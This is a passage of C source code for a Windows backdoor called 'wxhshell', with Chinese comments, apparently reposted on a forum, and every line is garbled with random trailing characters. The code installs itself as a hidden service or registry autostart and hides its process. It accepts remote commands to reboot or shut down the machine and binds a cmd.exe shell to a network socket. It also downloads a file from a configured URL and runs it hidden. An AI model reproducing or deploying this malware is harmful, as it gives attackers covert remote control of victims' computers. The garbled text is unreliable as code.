      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GK6/S_l%D+  
    break; {*yFTP"93  
  } hHA!.u4&  
  // 安装 4Fu:ov ]M  
  case 'i': { h D5NX  
    if(Install()) ^Pwtu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TA4>12C6  
    else )NF5,eD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UTWchh  
    break;  ujin+;1  
    } ?Z^?A^; }$  
  // 卸载 pVm]<jO  
  case 'r': { 0Y>5&  
    if(Uninstall()) hZZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w]@H]>sHd  
    else WHF[l1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c/6  
    break; F o k%  
    } xF8U )j !  
  // 显示 wxhshell 所在路径 b#%$y  
  case 'p': { %[cZ,F=  
    char svExeFile[MAX_PATH]; ']bw37_U,  
    strcpy(svExeFile,"\n\r"); omP\qOc  
      strcat(svExeFile,ExeFile); .#q]{j@Ot  
        send(wsh,svExeFile,strlen(svExeFile),0); |l-~,eRvi5  
    break; zi^?9n),  
    } K0aT(Rc e  
  // 重启 $./&GOus  
  case 'b': { 5FJ(x:k?z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eG_@WLxwD  
    if(Boot(REBOOT)) =?3b3PZn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IRknD3LX  
    else { wPE\?en  
    closesocket(wsh); 88&M8T'AP  
    ExitThread(0); 7!;H$mxP  
    } P#!^9)3  
    break; |NdWx1  
    } Q]{ `m  
  // 关机 i7XM7 +}  
  case 'd': { H/2dVUU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); | LX Vf  
    if(Boot(SHUTDOWN)) ]?7q%7-e.a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h/oC9?v  
    else { rD;R9b"J  
    closesocket(wsh); n \i ~H  
    ExitThread(0); pi|=3W  
    } ^`S.Mw.  
    break; f6,?Yex8B  
    } }`pxs  
  // 获取shell oh0*bh  
  case 's': { -Hh.8(!XoO  
    CmdShell(wsh); p:NIRs  
    closesocket(wsh); GY t|[GC  
    ExitThread(0); )61X,z  
    break; ],~H3u=s3  
  } h'nXV{N0  
  // 退出 8B`w!@hf  
  case 'x': { <y=+Gh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,p>@:C/M  
    CloseIt(wsh); 0z$::p$%u  
    break; i+Lqj  
    } `m`Y3I  
  // 离开 `%/w0,0  
  case 'q': { G,}"}v:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y 8n*o3jM  
    closesocket(wsh); 9i46u20  
    WSACleanup(); @~QI3)=s  
    exit(1); ?j;,:n   
    break; ~f:"Q(f+  
        } MW2{w<-]7  
  } `F$lO2#k  
  } BR-4L2[  
l4> c  
  // 提示信息 6)veuA3]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e-Z ul.m  
} 7Ucq(,\./  
  } ?[=OQ/E  
(DkfLadB  
  return; 4(dgunP  
} kIR/.Ij}  
\<HY'[gr  
// shell模块句柄 8shx7"  
int CmdShell(SOCKET sock) lhPxMMS`j  
{ u` ;P^t5  
STARTUPINFO si; d2?#&d'aq  
ZeroMemory(&si,sizeof(si)); xE rAs}|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YrsE 88QqI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q?qH7={,eu  
PROCESS_INFORMATION ProcessInfo; Qb5@e#  
char cmdline[]="cmd"; RF= $SMTk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^ X-6j[".  
  return 0; P  Ij  
} ?vfZ>7Q  
uD?Rs`  
// 自身启动模式  R;zf x/  
int StartFromService(void) @ qS Z=  
{ 3RF`F i  
typedef struct 4t-l@zFWb  
{ v_Hy:O}R  
  DWORD ExitStatus; &`,Y/Cbw  
  DWORD PebBaseAddress; h'+F'1=  
  DWORD AffinityMask; 8#w%qij  
  DWORD BasePriority; ME66BWg{  
  ULONG UniqueProcessId; <.2jQ#So  
  ULONG InheritedFromUniqueProcessId; lPD&Doa  
}   PROCESS_BASIC_INFORMATION; y'!"GrbZ  
!X9^ L^v}  
PROCNTQSIP NtQueryInformationProcess; ^zW=s$\Fo  
=Qf{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?G<ISiABQC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sDY+J(Z  
?AH B\S  
  HANDLE             hProcess; .Q^V,[on1T  
  PROCESS_BASIC_INFORMATION pbi; .%!^L#g  
(I#mo2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \XO'7bNu-  
  if(NULL == hInst ) return 0; &;sW4jnt  
aU@1j;se@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E $P?%<o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]V)*WP#a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^wD`sj<Qg  
Ldj*{t `5  
  if (!NtQueryInformationProcess) return 0; 7X)4ec9H\  
==BOW\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LpL$=9  
  if(!hProcess) return 0; fv@<  
/=T:W*C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UmArl)R/  
rP}[>  
  CloseHandle(hProcess); 1:r#m- \  
2m"cK^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0":k[y  
if(hProcess==NULL) return 0; *U}ztH-+/  
z4~p(tl  
HMODULE hMod; 7#c4.9b?  
char procName[255]; Zu<S<??Jf  
unsigned long cbNeeded; V/:2xT  
8.>himL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CB X}_]9X  
.lq83; k  
  CloseHandle(hProcess); K- $,:28  
6^!fuIZ;_  
if(strstr(procName,"services")) return 1; // 以服务启动 +xgP&nw[-  
mYj)![  
  return 0; // 注册表启动 ->X>h_k.Y  
} HOF=qE*p  
`23][V  
// 主模块 Br15S};Ce  
int StartWxhshell(LPSTR lpCmdLine) !A1~{G2VL_  
{ ZzjCS2U  
  SOCKET wsl; #vhN$H:&q  
BOOL val=TRUE; ?3 k_YN"  
  int port=0; .ANR|G  
  struct sockaddr_in door; =Xg/[J%  
x}nBU q:  
  if(wscfg.ws_autoins) Install(); PEm2w#X%L  
GmaNi  
port=atoi(lpCmdLine); A)V*faD  
W &:0J  
if(port<=0) port=wscfg.ws_port; 7 7y+ik  
N_S~&(I|  
  WSADATA data; RGs7Hc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? dHl'  
wwywiFj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aidQ,(PDj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "bDj 00nwh  
  door.sin_family = AF_INET; fISK3t/=C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6 Bdxdx*zt  
  door.sin_port = htons(port); zTj ie  
jU7[z$GX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1kw*Q:   
closesocket(wsl); 9Li*L&B)  
return 1; =JgR c7  
} G_J}^B*?%v  
R y#C#0  
  if(listen(wsl,2) == INVALID_SOCKET) { 86N,04  
closesocket(wsl); l EzN   
return 1; zfv@<'  
} H@Ot77(*  
  Wxhshell(wsl); fn=A_ i  
  WSACleanup(); ,LN^Zx*  
VQ| {Q}  
return 0; d+,!p8Q  
;nP(S`'  
} 5cinI^x)f  
M TZCI}  
// 以NT服务方式启动 }O>1tauI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `G/g/>y  
{ [M,4qe8,}  
DWORD   status = 0; /\# f@Sg  
  DWORD   specificError = 0xfffffff; 3MFT P5~  
8K?}!$fz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L;u5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v-d"dC`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |xcC'1WU  
  serviceStatus.dwWin32ExitCode     = 0; q%e'WMG~n  
  serviceStatus.dwServiceSpecificExitCode = 0; ~M-L+XZl(  
  serviceStatus.dwCheckPoint       = 0; i79$D:PcLa  
  serviceStatus.dwWaitHint       = 0; p|2GPrA]aL  
k[ zyR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n}IGxum8`  
  if (hServiceStatusHandle==0) return; xZ P SUEG  
qb=2J5su  
status = GetLastError(); ~M{/cv  
  if (status!=NO_ERROR) ; Z7!BU  
{ h7q{i|5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5rB>)p05[  
    serviceStatus.dwCheckPoint       = 0; 5l1R")0`t_  
    serviceStatus.dwWaitHint       = 0; 7<!x:G?C  
    serviceStatus.dwWin32ExitCode     = status; f^B'BioW(  
    serviceStatus.dwServiceSpecificExitCode = specificError; X+N5iT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GZu12\0nZ  
    return; O5-GrR^yt  
  } XV]xym~  
SfC* ZM}<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sV,Yz3E<u$  
  serviceStatus.dwCheckPoint       = 0; xm1di@  
  serviceStatus.dwWaitHint       = 0; x>Q% hl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Y;r%DJ  
} LX7P?j  
|~ fI=1;;x  
// 处理NT服务事件,比如:启动、停止 qS @3:R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tm.60udbo  
{ {{Ox%Zm  
switch(fdwControl) 3= sBe HL  
{ k+-?b(z)$  
case SERVICE_CONTROL_STOP: {c9 f v H  
  serviceStatus.dwWin32ExitCode = 0; CO@G%1#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y Z+G7D>  
  serviceStatus.dwCheckPoint   = 0; AZc= Bbh  
  serviceStatus.dwWaitHint     = 0; 2} pZyS  
  { \^" Vqx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <hCO-r#  
  } c86KDEF  
  return; 0H>gMXWE]  
case SERVICE_CONTROL_PAUSE: $Bz};@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4x[_lsj   
  break; j}//e%$a  
case SERVICE_CONTROL_CONTINUE: ?SFQx \/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j [lS.Lb  
  break; ub~ t}  
case SERVICE_CONTROL_INTERROGATE: PB$beQ  
  break; nL=+`aq_  
}; m8{8r>6*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N s0,Z#Z+  
} ,H+Y1N4W(  
U[x$QG6m!  
// 标准应用程序主函数 4%~*}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U~?VN!<x[  
{ /i>n1>~yn  
=h vPq@C%  
// 获取操作系统版本 U&BCd$  
OsIsNt=GetOsVer(); a($7J6]M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [%bGs1U  
?K7uy5Y  
  // 从命令行安装 "NA<^2W@J  
  if(strpbrk(lpCmdLine,"iI")) Install(); T{Xd>  
N? Jy  
  // 下载执行文件 ;LP3  
if(wscfg.ws_downexe) { !38KHq^|&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uOzoE_i  
  WinExec(wscfg.ws_filenam,SW_HIDE); IxuK<Oe:O  
} MF<ZB_@  
p2 1|  
if(!OsIsNt) { *:xOenI  
// 如果时win9x,隐藏进程并且设置为注册表启动 J";N^OR{A%  
HideProc(); GB Yy^wjU  
StartWxhshell(lpCmdLine); >"!ScYn  
} 0}e?hbF%U  
else /.7RWy`  
  if(StartFromService()) * rlV E  
  // 以服务方式启动 =9ff9 83  
  StartServiceCtrlDispatcher(DispatchTable); 4xg)e` *U  
else  "LB MYZ  
  // 普通方式启动 pTq DPU  
  StartWxhshell(lpCmdLine); !Ea >tQ|  
^4 $4x  
return 0; Wx]Xa]-  
}
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只看该作者 1 发表于: 2006-10-10
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